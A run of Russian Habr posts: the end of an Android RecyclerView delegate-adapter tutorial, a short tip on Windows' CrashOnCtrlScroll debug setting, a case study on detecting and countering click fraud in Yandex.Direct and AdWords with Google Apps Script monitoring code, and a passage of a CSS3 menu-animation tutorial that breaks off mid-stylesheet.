this.typeToAdapterMap = typeToAdapterMap;
}
@Override
public final int getItemViewType(int position) {
for (int i = FIRST\_VIEW\_TYPE; i < typeToAdapterMap.size(); i++) {
final IDelegateAdapter delegate = typeToAdapterMap.valueAt(i);
//noinspection unchecked
if (delegate.isForViewType(data, position)) {
return typeToAdapterMap.keyAt(i);
}
}
throw new NullPointerException(
"Can not get viewType for position " + position);
}
@Override
public final RecyclerView.ViewHolder onCreateViewHolder(
ViewGroup parent, int viewType) {
return typeToAdapterMap.get(viewType)
.onCreateViewHolder(parent, viewType);
}
@Override
public final void onBindViewHolder(
RecyclerView.ViewHolder holder, int position) {
final IDelegateAdapter delegateAdapter =
typeToAdapterMap.get(getItemViewType(position));
if (delegateAdapter != null) {
//noinspection unchecked
delegateAdapter.onBindViewHolder(holder, data, position);
} else {
throw new NullPointerException(
"can not find adapter for position " + position);
}
}
@Override
public void onViewRecycled(RecyclerView.ViewHolder holder) {
//noinspection unchecked
typeToAdapterMap.get(holder.getItemViewType())
.onRecycled(holder);
}
public void swapData(@NonNull List data) {
this.data.clear();
this.data.addAll(data);
notifyDataSetChanged();
}
@Override
public final int getItemCount() {
return data.size();
}
public static class Builder {
private int count;
private final SparseArray typeToAdapterMap;
public Builder() {
typeToAdapterMap = new SparseArray<>();
}
public Builder add(
@NonNull IDelegateAdapter, ? extends T delegateAdapter) {
typeToAdapterMap.put(count++, delegateAdapter);
return this;
}
public CompositeDelegateAdapter build() {
if (count == 0) {
throw new IllegalArgumentException("Register at least one adapter");
}
return new CompositeDelegateAdapter<>(typeToAdapterMap);
}
}
}
```
Как видите, никакой магии, просто делегируем вызовы onBind, onCreate, onRecycled (так же, как в реализации AdapterDelegates Ханса Дорфмана).
Напишем теперь базовые ViewHolder и DelegateAdpater, чтобы убрать еще немного «бойлерплейта»:
**BaseViewHolder**
```
public class BaseViewHolder extends RecyclerView.ViewHolder {
private ItemInflateListener listener;
public BaseViewHolder(View parent) {
super(parent);
}
public final void setListener(ItemInflateListener listener) {
this.listener = listener;
}
public final void bind(Object item) {
listener.inflated(item, itemView);
}
interface ItemInflateListener {
void inflated(Object viewType, View view);
}
}
```
**BaseDelegateAdapter**
```
public abstract class BaseDelegateAdapter
implements IDelegateAdapter {
abstract protected void onBindViewHolder(
@NonNull View view, @NonNull T item, @NonNull VH viewHolder);
@LayoutRes
abstract protected int getLayoutId();
@NonNull
abstract protected VH createViewHolder(View parent);
@Override
public void onRecycled(VH holder) {
}
@NonNull
@Override
public final RecyclerView.ViewHolder onCreateViewHolder(
@NonNull ViewGroup parent, int viewType) {
final View inflatedView = LayoutInflater
.from(parent.getContext())
.inflate(getLayoutId(), parent, false);
final VH holder = createViewHolder(inflatedView);
holder.setListener(new BaseViewHolder.ItemInflateListener() {
@Override
public void inflated(Object viewType, View view) {
onBindViewHolder(view, (T) viewType, holder);
}
});
return holder;
}
@Override
public final void onBindViewHolder(
@NonNull VH holder,
@NonNull List items,
int position) {
((BaseViewHolder) holder).bind(items.get(position));
}
}
```
Теперь можно будет создавать адаптеры, практически как в примере выше:
**пример TextDelegateAdapter**
```
public class TextDelegateAdapter extends
BaseDelegateAdapter {
@Override
protected void onBindViewHolder(@NonNull View view,
@NonNull TextViewModel item,
@NonNull TextViewHolder viewHolder) {
viewHolder.tvTitle.setText(item.title);
viewHolder.tvDescription.setText(item.description);
}
@Override
protected int getLayoutId() {
return R.layout.text\_item;
}
@Override
protected TextViewHolder createViewHolder(View parent) {
return new TextViewHolder(parent);
}
@Override
public boolean isForViewType(@NonNull List items, int position) {
return items.get(position) instanceof TextViewModel;
}
final static class TextViewHolder extends BaseViewHolder {
private TextView tvTitle;
private TextView tvDescription;
private TextViewHolder(View parent) {
super(parent);
tvTitle = parent.findViewById(R.id.tv\_title);
tvDescription = parent.findViewById(R.id.tv\_description);
}
}
}
```
Чтобы ViewHolder-ы создавались автоматически(будет работать только на Котлине), нужно сделать сделать 3 вещи:
1. Подключить плагин для синтетического импорта ссылок на View
```
apply plugin: 'kotlin-android-extensions'
```
2. Разрешить для него опцию experimental
```
androidExtensions {
experimental = true
}
```
3. Реализовать интерфейс LayoutContainer
По умолчанию, ссылки кешируются только для Activity и Fragment. Подробнее [здесь](https://github.com/Kotlin/KEEP/blob/master/proposals/android-extensions-entity-caching.md).
Теперь можем написать базовый класс:
```
abstract class KDelegateAdapter
: BaseDelegateAdapter() {
abstract fun onBind(item: T, viewHolder: KViewHolder)
final override fun onBindViewHolder(view: View, item: T, viewHolder: KViewHolder) {
onBind(item, viewHolder)
}
override fun createViewHolder(parent: View?): KViewHolder {
return KViewHolder(parent)
}
class KViewHolder(override val containerView: View?)
: BaseViewHolder(containerView), LayoutContainer
}
```
### Недостатки
1. На поиск адаптера, когда нужно определить viewType, в среднем уходит N/2, где N — число зарегистрированных адаптеров. Так что решение будет работать несколько медленней с большим числом адаптеров.
2. Возможен конфликт двух адаптеров, подписывающихся на один и тот же ViewModel.
3. Классы получаются компактным только на Котлине.
### Заключение
Данный подход хорошо зарекомендовал себя как для сложных списков, так и для однородных — написание адаптера превращается буквально в 10 строк кода, при этом архитектура позволяет расширять и усложнять ленту, не изменяя имеющиеся классы.
На тот случай, если кому-то нужны исходники, даю ссылку на [проект](https://github.com/Liverm0r/DelegateAdapters). Буду рад любой обратной связи. | https://habr.com/ru/post/341738/ | null | ru | null |
# BSoD — это не баг Windows, это фича такая.
Программисты MS специально создавали ее. Не верите? Вот способ вызвать ее самым обычным нажатием клавиш.
Откройте реестр по адресу: для владельцев usb-клавиатур `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdhid\Parameters`, а для PS/2 — `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters`. Создайте новый параметр типа DWORD c именем CrashOnCtrlScroll и значением 1.
После ребута дважды нажмите Scroll Lock, удерживая Ctrl. Вуаля!
По мотивам [How-To Geek](http://feeds.feedburner.com/~r/HowToGeek/~3/205620859/) | https://habr.com/ru/post/17972/ | null | ru | null |
# Как победить скликивание в Я. Директ и AdWords на 600 тысяч рублей в месяц
За последние полгода нам удалось победить «скликивание» нашей контекстной рекламы с бюджетом в 1 миллион рублей в месяц.
Ключом победы над фродом стал поминутный мониторинг трафика с уведомлениями об аномальных изменениях и отключением проблемных объявлений по API, и ряд отчётов, которые отражают ситуацию в реальном времени.
Рисунок 1. Диаграмма количества посетителей по ключевым словам по декаминутам
Как узнать, что вас атакуют?
----------------------------
**Одним из первых признаков «скликивания» рекламы будет увеличение процента возвращаемых средств за фрод в Директе и AdWords.**
> «В Яндекс Директ расходы на фрод автоматически возвращаются на баланс рекламной кампании. Количество кликов, отсеянных системой защиты от фрода, отображается в отчетах «статистика по дням» «общая статистика» в строке «недействительные клики за весь выбранный период.»
– [справка Я. Директа «недействительных кликах»](https://yandex.ru/support/direct/technologies-and-services/antifraud.html).
В AdWords отображение уровня «недействительных кликов» можно включить на вкладке «столбцы»:
Рисунок 2. Настроенные столбцы с уровнем «недействительных кликов» в AdWords
В нашем случае, при среднем уровне «[недействительных кликов](https://yandex.ru/support/direct/technologies-and-services/antifraud.html)» в Директе ≈ 10%, Яндексе вдруг стал возвращать 40% рекламного бюджета, а через месяц и вовсе 54%.
**Следующий признак фрода – это необоснованный рост количества переходов и сильные изменения поведенческих показателей по ряду групп объявлений.**
Мы заметили, что по ряду ключевых слов, по которым никогда не было больше 200 посетителей в день, вдруг появились всплески до 3 000 посетителей. По факту, бюджет, в дни подобных активностей, мог уйти на одну рекламную кампанию, если её вовремя не останавливали.
Рисунок 3. Необоснованный рост трафика по определенной группе объявлений в Директ
Яндекс и Google не защищают от фрода
------------------------------------
Достаточно прочесть [обсуждение уровня фрода в контекстной рекламе](https://yandex.ru/blog/direct/14427) в официальном Клубе Директа, чтобы убедиться: многие рекламодатели теряют из-за фрода деньги.
Google официально признаёт ошибки своей системы защиты и предоставляет рекламодателям «Refund Claims» (возврат израсходованного бюджета). По статистике сервиса ClickSease, Google Ads в среднем возвращает 12% рекламного бюджета.
**Как вернуть часть денег за «склик» через AdWords**Необходимо отправить [жалобу на «недействительные клики»](https://support.google.com/adwords/troubleshooter/2557048?rd=1) в Адвордс, после рассмотрения которой вам возместят ≈ 12% потраченных средств. Также сервис ClickSease автоматический отправляет в Google подобные требования на возврат денег раз в 2 месяца.
В нашем случае, Google AdWords сначала признал 18% нашего трафика «[недействительными](https://support.google.com/adwords/answer/2549113?ctx=tltp)» и вернул за них деньги, а когда мы отправили жалобу «refund claims», Google возместил ещё 13% бюджета.
Яндекс же не признаёт уязвимость собственных фильтров защиты и на жалобы об очевидных случаях фрода, отправляет шаблонный ответ, что проблема заключается в рекламодателе и его сайте.
В нашем случае, процент «недействительных кликов» в отчёте Я. Директа никогда не поднимался выше заветных 50% ни по одной из рекламных кампаний, даже в дни самых яростных всплесков, когда 80% бюджета «сливалось» на обычно мало популярную группу объявлений без звонков и заявок.
Рисунок 4. Уровень «недействительных кликов» в одной из кампаний в Директ
С каким уровнем атаки мы столкнулись
------------------------------------
Мошеннический трафик направлялся по четырем направлениям бизнеса в двух городах. При подключении новых рекламных кампаний или запуске давно остановленных, в течение нескольких часов «скликивание» перераспределялось и на них.
Click Fraud не привязывался ко времени, и перераспределение бюджета, например на ночь, не давало никакого эффекта: свой объем левого трафика мы всё равно получали. «Скликивание» происходило одинаково активно и в РСЯ, и на поиске Яндекса, и в КМС Google.
На сайте боты симулировали поведение пользователя, переходили по разделам сайта, выделяли текст, естественно скролили и перемещали курсор.
Есть ли готовые средства защиты?
--------------------------------
У всех сервисов защиты от кликфрода есть всего один инструмент прямой борьбы – это блокировка подозрительных IP адресов или площадок размещений в кампаниях Я.Директ и AdWords.
В случае, если против вас используются динамические IP, любой сервис борьбы с клик фродом всегда будет отставать на один шаг от мошенников в блокировке их по IP: бот уже совершит несколько кликов по вашей рекламе к тому моменту, когда сервис внесет этот IP в черный список и остановит по нему показ рекламы. К тому же, после того, как мошеннический софт не сможет увидеть вашу рекламу, он просто поменяет IP адрес, Hardware-ID и продолжит свои действия.
При атаке на рекламу в КМС или РСЯ, обычно используются различные места размещения, и системы автоматической защиты не могут обнаружить подозрительных площадок для блокировки.
Вернемся к блокировке по IP – здесь мы подходим к самому интересному – если в AdWords допускается блокировать до 500 IP адресов, то в Яндекс Директ можно блокировать всего лишь 25 уникальных IP адресов на одну рекламную кампанию! Столь маленький черный список IP адресов уже не актуален, так как сейчас можно спокойно закупить 500 IPv4 адресов за 10 тысяч рублей и обойти это ограничение.
Защититься от «скликивания», выполняемого на высоком уровне, можно всего двумя способами:
1. научиться не показывать рекламу заведомо мошенническим пользователям или ботам, для чего надо найти определенные «паттерны» в их поведении и характеристиках;
2. временно останавливать конкретные группы объявлений и ключевые слова, по которым идёт атака.
Отрезать часть аудитории, чтобы сохранить её большую часть
----------------------------------------------------------
Если научиться не показывать рекламу клик ботам или мошенническим пользователям – то и навредить они не смогут.
Всегда можно отследить схожие модели поведения и паттерны, например, что фрод обычно идет по Windows 7 с 5:00 до 9:00 в Москве, и выставить корректировку ставок -100% для подобной аудитории во всех атакуемых рекламных кампаниях. Функционал [корректировок ставок в AdWords](https://support.google.com/google-ads/answer/2732132?hl=ru) достаточно обширен, чего не скажешь о [корректировках в Yandex Direct](https://yandex.ru/support/direct/impressions/bids-adjustment.html).
### Ищем паттерны во фроде через сервисы защиты
Для того, чтобы иметь представление о том, как именно нас атакуют, и вручную отследить закономерности в мошенническом трафике, мы подключили российский сервис защиты от фрода [ClickFrog](https://clickfrog.ru/). Продукт это давно всем известный, популярный в среде CPA и так далее.
ClickFrog быстро доказал полную недееспособность:
1. в день выделял не более 40 подозрительных IP адресов, при трафике с Директа в 3 000 тысячи переходов в день, и, признаваемых даже, Яндексом 1300 „левых“ кликов в день;
2. основной инструмент защиты сервиса – это блокировка по IP адресу, команда о которой по API отправляется в Я.Директ, однако как только черный список в 25 IP адресов заполняется, необходимо вручную удалять последние несколько IP в каждой рекламной кампании и ждать очередного заполнения списка, и так по кругу.
Затем мы установили код американского сервиса [ClickSease](https://www.clickcease.com), нацеленного на AdWords, и пока ещё не работающего с Директом. У сервиса, кстати, есть, в отличие от ClickFrog, бесплатный тестовый период на 2 недели.
ClickSease оказался полезнее: он начал вылавливать по 300-400 уникальных мошеннических IP в день. По каждому заблокированному IP сервис отдает статистику:
* интернет-провайдер;
* площадка с которой совершился переход;
* операционная система;
* уникальный ID устройства;
* время первого и последнего перехода;
* регион.
Из отчета ClickSease нам удалось выявить закономерности во фроде:
* в 81% случаев устройство симулирует мобильную ОС: Android или iOS;
* в 59% случаев геолокация IP адреса относится не к Москве, при фроде направленном на Москву.
### Ищем паттерны во фроде вручную
Однако даже таких очевидных паттернов оказалось мало для снижения вреда от фрода, да и отключать рекламу на мобильных не хотелось. Сервисы обычно способны только дать идеи по выявлению схожих паттернов во фроде, а дальше необходимо обнаружить фрод в Метрике (в случае атаки на Директ) и выделить его в отдельных сегмент Яндекс Аудиторий для последующего анализа и блокировки.
Рисунок 5. Пример анализа трафика по возрастным группам в Метрике для поиска паттернов фрода
Срезы трафика, которые помогут определить паттерны фрода:
* динамика аудитории по возрастным группам;
* динамика долгосрочных интересов пользователей;
* динамика устройств и ОС.
**В случае AdWords механика противодействия ясна:**
1. определяем сегмент аудитории «зараженный» фродом;
2. выставляем корректировку ставок -100% для выбранного сегмента;
3. отслеживаем изменение показателей: конверсия, время на сайте, глубина просмотра, показатель отказов.
**В Яндекс Директ механика борьбы сложнее и разделяется на два варианта:**
а) вам удалось найти очевидный паттерн фрода, относящийся к полу, возрасту или мобильности:
1. выставляем корректировку ставки -50% или -100% для выбранного сегмента;
2. отслеживаем изменение ключевых показателей.
б) очевидных паттернов не обнаружено:
1. выделяем фродовый трафик в отдельный сегмент [Яндекс.Аудиторий](https://audience.yandex.ru/) (например, вы точно знали, что с 1 по 20 октября не могло быть 5 000 переходов по группе объявлений, по которой всегда было не больше 30 посещений в день)
2. через [look-alike Яндекса](https://yandex.ru/support/audience/segments/look-alike.html) cоздаем сегмент похожих на наш фрод пользователей;
3. выставляем корректировку ставок -100% для созданного вручную сегмента аудитории;
4. аккуратно тестируем понижение ставок в рекламе для созданных Яндексом сегментов.
Строим диаграммы, которые показывают фрод
-----------------------------------------
**Фрод всегда порождает очевидные очаги и пики**, будь то заумный софт с имитацией поведения настоящего пользователя или группа фрилансеров, выполняющих техническое задание.
Рисунок 6. Диаграмма количества посетителей по ключевым словам по декаминутам
Фрод происходит неравномерно по нескольким причинам:
* чтобы сделать атаку «сглажено» нужно владеть конфиденциальной информацией и знать кто, когда и сколько переходов совершает по вашей рекламе;
* софт действует рывками, и на минутном, 10 минутном, а иногда и на часовом графике, его действия будут бросаться в глаза;
* даже если против вас работают «школьники» с досок объявлений, то и они действуют по определенному заданию с алгоритмом, и аномалии, порожденные ими легко будет отследить.
Если научиться оперативно находить и устранять очаги, то можно заметно снизить вред от фрода. В нашем случае, очевидным признаком стало аномальное увеличение количества переходов по контекстной рекламе в конкретных 10 минутах или одной минуте по некоторым ключевым словам.
Для визуализации лучше всего подойдёт [Google Data Studio](https://datastudio.google.com), поскольку корректно собирать данные, разбитые по времени на 1 и 10 минут, способен только Analytics, а Метрика, при построении отчетов по декаминутам, отдаёт некорректные показатели.
**Как строить диаграммы по 10 минутам, а не по часу, в Google Data Studio**По умолчанию, в Analytics или Data Studio нельзя строить графики поминутно или по 10 минутам, однако это можно сделать следующим образом в Дата Студии:
Шаг 1. Открываем редактирование полей
Шаг 2. Создаем копии следующих полей: Год, Месяц года, День месяца, Час, Минута, и называем их, например, Год (число), Месяц года (число) и так далее. Также в скопированных полях необходимо изменить Тип с формата времени и даты на „число“ как показано на рисунке.
Шаг 2. Изменяем тип скопированного поля с «даты» на «число»
Шаг 3. Создаем новое поле, в котором прописываем следующую формулу: Год (число)\*10000000+Месяц года (число)\*100000+День месяца (число)\*1000+Час (число)\*10+FLOOR(Минута (число)/10)
Шаг 3. Создаём вычисляемое поле «Время по 10 минут»
Шаг 4. Сохраняем созданное поле, затем возвращаемся к списку всех полей и находим наше новое поле «Время по 10 минут (декаминут)». Необходимо изменить его тип с «Число» на «Дата и время» как показано на рисунке, а затем обратно присвоить этому полю тип «Число».
Шаг 4. Создаём вычисляемое поле „Время по 10 минут“
Шаг 5. Создаем «Комбинированную диаграмму» и ставим как параметр наше новое поле «Время по 10 минут», как показано на рисунке. Готово.
Шаг 5. Создаём «комбинированную диаграмму»
Настраиваем уведомления на очаги фрода
--------------------------------------
Чтобы не следить за всеми случаями фрода вручную, я сделал отчёт в Google Таблицах, который обновляет данные каждую минуту и уведомляет о начале фрода.
Google Таблицы поддерживают [Core Reporting API](https://developers.google.com/analytics/devguides/reporting/core/v3/), обращаться к которому можно через «Редактор скриптов» в Таблицах.
Шаг 1. Заходим в редактор скриптов для обращения к Analytics
Рисунок 7. Редактор скриптов для обращения к Analytics Core Reporting API через Гугл Таблицы
Шаг 2. Прописываем API запрос к Analytics, чтобы получать данные о нужных показателях (например, о количестве пользователей, перешедших по платной рекламе, в каждую минуту суток, как в нашем случае).
**Код Google Script для запроса любых данных из Analytics в Google Таблицы**
```
function runDemo() {
try {
var firstProfile = getFirstProfile();
var results = getReportDataForProfile(firstProfile);
outputToSpreadsheet(results);
} catch(error) {
Browser.msgBox(error.message);
}
}
function getFirstProfile() {
var accounts = Analytics.Management.Accounts.list();
if (accounts.getItems()) {
var firstAccountId = accounts.getItems()[0].getId();
var webProperties = Analytics.Management.Webproperties.list(firstAccountId);
if (webProperties.getItems()) {
var firstWebPropertyId = webProperties.getItems()[0].getId();
var profiles = Analytics.Management.Profiles.list(firstAccountId, firstWebPropertyId);
if (profiles.getItems()) {
var firstProfile = profiles.getItems()[0];
return firstProfile;
} else {
throw new Error('No views (profiles) found.');
}
} else {
throw new Error('No webproperties found.');
}
} else {
throw new Error('No accounts found.');
}
}
function getReportDataForProfile(firstProfile) {
var profileId = firstProfile.getId();
var tableId = 'ga:' + profileId;
var startDate = "today"; //например getLastNdays(14) равняется 2 weeks (a fortnight) ago.
var endDate = "today"; //getLastNdays(0) равняется Today.
var optArgs = {
'dimensions': 'ga:date,ga:hour,ga:minute,ga:sourceMedium', // Comma separated list of dimensions.
'sort': 'ga:date,ga:hour,ga:minute', // Sort by sessions descending, then keyword.
//'segment': 'dynamic::ga:isMobile==Yes', // Process only mobile traffic.
'filters': 'ga:sourceMedium==yandex / cpc',
'start-index': '1',
'max-results': '10000' // Display the first 250 results.
};
// Make a request to the API.
var results = Analytics.Data.Ga.get(
tableId, // Table id (format ga:xxxxxx).
startDate, // Start-date (format yyyy-MM-dd).
endDate, // End-date (format yyyy-MM-dd).
'ga:users', // Comma seperated list of metrics.
optArgs);
if (results.getRows()) {
return results;
} else {
throw new Error('No views (profiles) found');
}
}
function getLastNdays(nDaysAgo) {
var today = new Date();
var before = new Date();
before.setDate(today.getDate() - nDaysAgo);
return Utilities.formatDate(before, 'GMT', 'yyyy-MM-dd');
}
function outputToSpreadsheet(results) {
var sheets = SpreadsheetApp.getActiveSpreadsheet();
var sheet = sheets.getSheetByName("coeff1");
var range = sheet.getRange('A:E');
range.clear();
// Print the headers.
var headerNames = [];
for (var i = 0, header; header = results.getColumnHeaders()[i]; ++i) {
headerNames.push(header.getName());
}
sheet.getRange(1, 1, 1, headerNames.length)
.setValues([headerNames]);
// Print the rows of data.
sheet.getRange(2, 1, results.getRows().length, headerNames.length)
.setValues(results.getRows());
}
```
Шаг 3. Задаем триггер на обновление данных каждую минуту:
Рисунок 8. Запрашиваем свежие данные каждую минуту для оперативного реагирования на фрод
Шаг 4. Создаем сводную таблицу из листа, обновляемого нужными данными раз в минуту, и анализируем эти показатели для настройки триггеров для уведомлений на электронную почту или же отключения групп объявлений по API Я.Директа или AdWords.
Рисунок 9. Пример настройки формул для уведомлений об аномалиях
**Пример моего кода Google Script для отправки уведомлений на электронную почту**
```
function myFunction() {
var ss = SpreadsheetApp.getActiveSpreadsheet();
var sheet = ss.getSheetByName("notification");
var range = sheet.getRange("D2:E4");
// The row and column here are relative to the range
// getCell(1,1) in this code returns the cell at B2, B2
var cell = range.getCell(1, 2);
Logger.log(cell.getValue());
if (cell.getValue() !== "no") {
MailApp.sendEmail("your_email@yandex.ru", "Fraud notification "+cell.getValue(), "Check me "+range.getCell(1, 1).getValue());
}
else {
}
var cell2 = range.getCell(2, 2);
Logger.log(cell2.getValue());
if (cell2.getValue() !== "no") {
MailApp.sendEmail("your_email@yandex.ru", "Fraud notification "+cell2.getValue(), "Check me "+range.getCell(2, 1).getValue());
}
else {
}
var cell3 = range.getCell(3, 2);
Logger.log(cell3.getValue());
if (cell3.getValue() !== "no") {
MailApp.sendEmail("your_email@yandex.ru", "Fraud notification "+cell3.getValue(), "Check me "+range.getCell(3, 1).getValue());
}
else {
}
}
```
Итоги: как победить скликивание
-------------------------------
Противодействие клик фроду можно подразделить на три группы:
а) Упреждающие действия:
* отключение «загрязненных площадок»;
* отключение показа рекламы для аудитории с фродовыми для вас признаками, например, для людей на планшетах из Санкт-Петербурга (более сложные параметры для блокировки можно использовать через списки AdWords и сегменты Метрики);
* корректировка ставок для сегментов аудитории, похожих на сегменты фрода («look-alike» сегменты создаются в Я. Аудиториях и списках Google);
* блокировка фрода по маскам IP сетей (доступно только в AdWords).
б) Профилактические действия:
* отправка жалоб о возврате бюджета в AdWords и Директ;
* расследование «кто заказал атаку на вас»;
* группировка подозрительных и часто атакуемых групп объявлений в единую рекламную кампанию;
* «ловушки» для простейших ботов, а именно скрытые кнопки на сайте, которые видны только боту и при нажатии на которые он попадает в список.
в) Действия «post factum»:
* блокировка по IP адресам;
* оперативное отключение очагов скликивания: ключевых слов, групп объявлений, рекламных кампаний, сегментов аудитории.
Рисунок 10. Способы защиты от click fraud
**Полезные ссылки:**
* [Библиотека](https://developers.google.com/analytics/devguides/reporting/core/v4/) Core Reporting API;
* [Query Explorer](https://ga-dev-tools.appspot.com/query-explorer/#report-start) для удобной отработки API команд;
* [Пишем скрипты для автоматизации работы с приложениями Google](https://xakep.ru/2015/01/08/google-apps-script/);
* [Automate Google Sheets](https://zapier.com/learn/google-sheets/google-apps-script-tutorial/);
* [Analytics Intelligence](https://support.google.com/analytics/answer/7347597?hl=en), чтобы спросить бота Analytics: – «А не было ли аномалий в платном трафике за последний год?» – и получить внятный ответ.
**Как узнать кто заказал атаку на вашу рекламу**Любой адекватный конкурент будет минимизировать свой ущерб при атаке на других:
1. во-первых, атакующий постарается не показывать свою рекламу по направлениям, по которым идёт атака в данную минуту, чтобы не слить свой CTR и повысить себе цену за клик;
2. во-вторых, недобросовестный конкурент подберет такие ключевые слова для атаки, по которым он может перестать показывать свою рекламу без особого вреда для себя.
В нашем случае, конкурент ещё и начал клик фрод по 4 направлениям в двух городах, поэтому вычислить его не составило труда.
Чтобы было проще анализировать конкурентов, с которыми вы пересекаетесь, можно смотреть все включенные объявления конкурентов по каждому ключевому слову в интерефейсе Директа:
Рисунок 9. Все объявления конкурентов по ключевому слову
**Кто также столкнулся со скликиванием контекстной рекламы – пишите в комментариях, постараемся помочь друг другу!** | https://habr.com/ru/post/423335/ | null | ru | null |
# Анимация меню при помощи CSS3
В данной статье я хотел бы показать вам некоторые приёмы создания эффектов при помощи CSS3 на примере меню. Идея заключается в простой композиции элементов: иконки, основного названия и вторичного названия, которое будет анимировано при наведении курсора, используя только CSS-переходы и CSS-анимацию. Мы рассмотрим несколько различных эффектов для элементов.
Значки, используемые в демо, является шрифтом [Web symbols](http://www.justbenicestudio.com/studio/websymbols/). Шрифт создан студией [Just Be Nice](http://www.justbenicestudio.com/).
##### HTML-разметка
HTML-структура меню будет представлять собой неупорядоченный список, где каждый элемент является ссылкой, который в свою очередь включает в себя span с иконкой и div с основным и вторичным названием:
> `<ul class="ca-menu">
>
> <li>
>
> <a href="#">
>
> <span class="ca-icon">Aspan>
>
> <div class="ca-content">
>
> <h2 class="ca-main">Статьиh2>
>
> <h3 class="ca-sub">Статьи о вебразработкеh3>
>
> div>
>
> a>
>
> li>
>
> ...
>
> ul>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Так как мы используем шрифт для иконок, мы будем писать соответствующую букву для иконки.
##### CSS
В общих стилях для всех примеров будет подключение символьного шрифта:
```
@font-face {
font-family: 'WebSymbolsRegular';
src: url('websymbols/websymbols-regular-webfont.eot');
src: url('websymbols/websymbols-regular-webfont.eot?#iefix') format('embedded-opentype'),
url('websymbols/websymbols-regular-webfont.woff') format('woff'),
url('websymbols/websymbols-regular-webfont.ttf') format('truetype'),
url('websymbols/websymbols-regular-webfont.svg#WebSymbolsRegular') format('svg');
font-weight: normal;
font-style: normal;
}
```
Путь к файлам является относительным по отношению к файлу CSS, следовательно, они будут находиться в папке css/websymbols /.
Большое преимущество использования символьного шрифта в том, что мы можем применить различные красивые эффекты к нему, например, текст с тенью. Мы также можем растягивать его для наших нужд.
Стиль для маркированного списка будет почти одинаковым для каждого примера, мы просто будем адаптировать его ширину:
```
.ca-menu{
padding: 0;
margin: 20px auto;
width: 500px;
}
```
В следующем примере я покажу вам стили элементов, к которым будут применяться эффекты. В первом примере мы рассмотрим стили всех элементов, а в остальных мы сосредоточимся на отличиях.
***Примечание: В следующих примерах я не буду писать префиксы для каждого браузера, потому что не хочу захламлять CSS, но Вы найдете все необходимые префиксы в демо-файлах.***
##### [Пример 1](http://www.webmasters.by/creative-css3-animation-menus.html)
В этом примере мы рассмотрим вертикальное меню, в котором мы будем менять размеры элементов и цвет фона каждого пункта.
Давайте определим стиль элемента списка:
```
.ca-menu li{
width: 500px;
height: 100px;
overflow: hidden;
display: block;
background: #fff;
box-shadow: 1px 1px 2px rgba(0,0,0,0.2);
margin-bottom: 4px;
border-left: 10px solid #000;
transition: all 300ms ease-in-out;
}
.ca-menu li:last-child{
margin-bottom: 0px;
}
```
Переход будет для всех свойств, так как мы хотим изменить цвет границы и цвет фона.
Ссылка элемента будет иметь следующий стиль:
```
.ca-menu li a{
text-align: left;
display: block;
width: 100%;
height: 100%;
color: #333;
position:relative;
}
```
Давайте определим стиль для отдельных элементов. Span иконки будет иметь следующий стиль:
```
.ca-icon{
font-family: 'WebSymbolsRegular', cursive;
font-size: 20px;
text-shadow: 0px 0px 1px #333;
line-height: 90px;
position: absolute;
width: 90px;
left: 20px;
text-align: center;
transition: all 300ms linear;
}
```
Как вы можете видеть, мы будем использовать веб-символы, как семейство шрифтов. Каждая буква будет иконкой.
Враппер для элементов контента будет иметь следующий стиль:
```
.ca-content{
position: absolute;
left: 120px;
width: 370px;
height: 60px;
top: 20px;
}
```
Содержание элементов будет варьироваться в зависимости от их размера шрифта и будет иметь линейный переход:
```
.ca-main{
font-size: 30px;
transition: all 300ms linear;
}
.ca-sub{
font-size: 14px;
color: #666;
transition: all 300ms linear;
}
```
И теперь самая интересная часть. При наведении на элемент списка мы будем менять размеры шрифта и цвет:
```
.ca-menu li:hover{
border-color: #fff004;
background: #000;
}
.ca-menu li:hover .ca-icon{
color: #fff004;
text-shadow: 0px 0px 1px #fff004;
font-size: 50px;
}
.ca-menu li:hover .ca-main{
color: #fff004;
font-size: 14px;
}
.ca-menu li:hover .ca-sub{
color: #fff;
font-size: 30px;
}
```
Так как мы определили переход для каждого из этих элементов, изменения будут «анимированные».
##### [Пример 2](http://www.webmasters.by/creative-css3-animation-menus2.html)
Во втором примере мы добавим немного анимации для элементов контента. Идея оживить их сверху и снизу:
```
.ca-menu li:hover{
background: #e1f0fa;
}
.ca-menu li:hover .ca-icon{
font-size: 40px;
color: #259add;
opacity: 0.8;
text-shadow: 0px 0px 13px #fff;
}
.ca-menu li:hover .ca-main{
opacity: 1;
color:#2676ac;
animation: moveFromTop 300ms ease-in-out;
}
.ca-menu li:hover .ca-sub{
opacity: 1;
animation: moveFromBottom 300ms ease-in-out;
}
```
Давайте определим две анимации. Первая начнется с вставки соответствующего элемента на 200% вниз по оси Y, что означает, что он будет сдвинут вниз. Кроме того, он будет иметь прозрачность 0. Затем он будет анимирован изменяя translateY до 0%:
```
@keyframes moveFromBottom {
from {
opacity: 0;
transform: translateY(200%);
}
to {
opacity: 1;
transform: translateY(0%);
}
}
```
Вторая анимация будет двигать элемент сверху по тем же принципам:
```
@keyframes moveFromTop {
from {
opacity: 0;
transform: translateY(-200%);
}
to {
opacity: 1;
transform: translateY(0%);
}
}
```
##### [Пример 3](http://www.webmasters.by/creative-css3-animation-menus3.html)
В этом примере мы хотим изменить фон и цвет текста при наведении курсора. Мы также будем поворачивать и увеличить иконку. Это мы можем сделать при помощи transition и за счет увеличения размера шрифта иконки:
```
.ca-menu li:hover{
background-color: #000;
}
.ca-menu li:hover .ca-icon{
color: #f900b0;
font-size: 120px;
opacity: 0.2;
left: -20px;
transform: rotate(20deg);
}
.ca-menu li:hover .ca-main{
color: #f900b0;
opacity: 0.8;
}
.ca-menu li:hover .ca-sub{
color: #fff;
opacity: 0.8;
}
```
##### [Пример 4](http://www.webmasters.by/creative-css3-animation-menus4.html)
Примеры с 4 до 8 будут использовать другой макет для меню. Элементы будут располагаться рядом друг с другом:
```
.ca-menu li{
width: 200px;
height: 300px;
overflow: hidden;
position: relative;
float: left;
border: 5px solid #fff;
background: #e2f0ff;
box-shadow: 1px 1px 2px rgba(0,0,0,0.2);
margin-right: 4px;
transition: all 300ms linear;
}
.ca-menu li:last-child{
margin-right: 0px;
}
```
Иконка будет размещена на верхней части, в центре пункта:
```
.ca-icon{
font-family: 'WebSymbolsRegular', cursive;
color: #c5e4f4;
font-size: 90px;
text-shadow: 1px 0px 1px rgba(255,255,255,0.7);
line-height: 150px;
position: absolute;
width: 100%;
height: 50%;
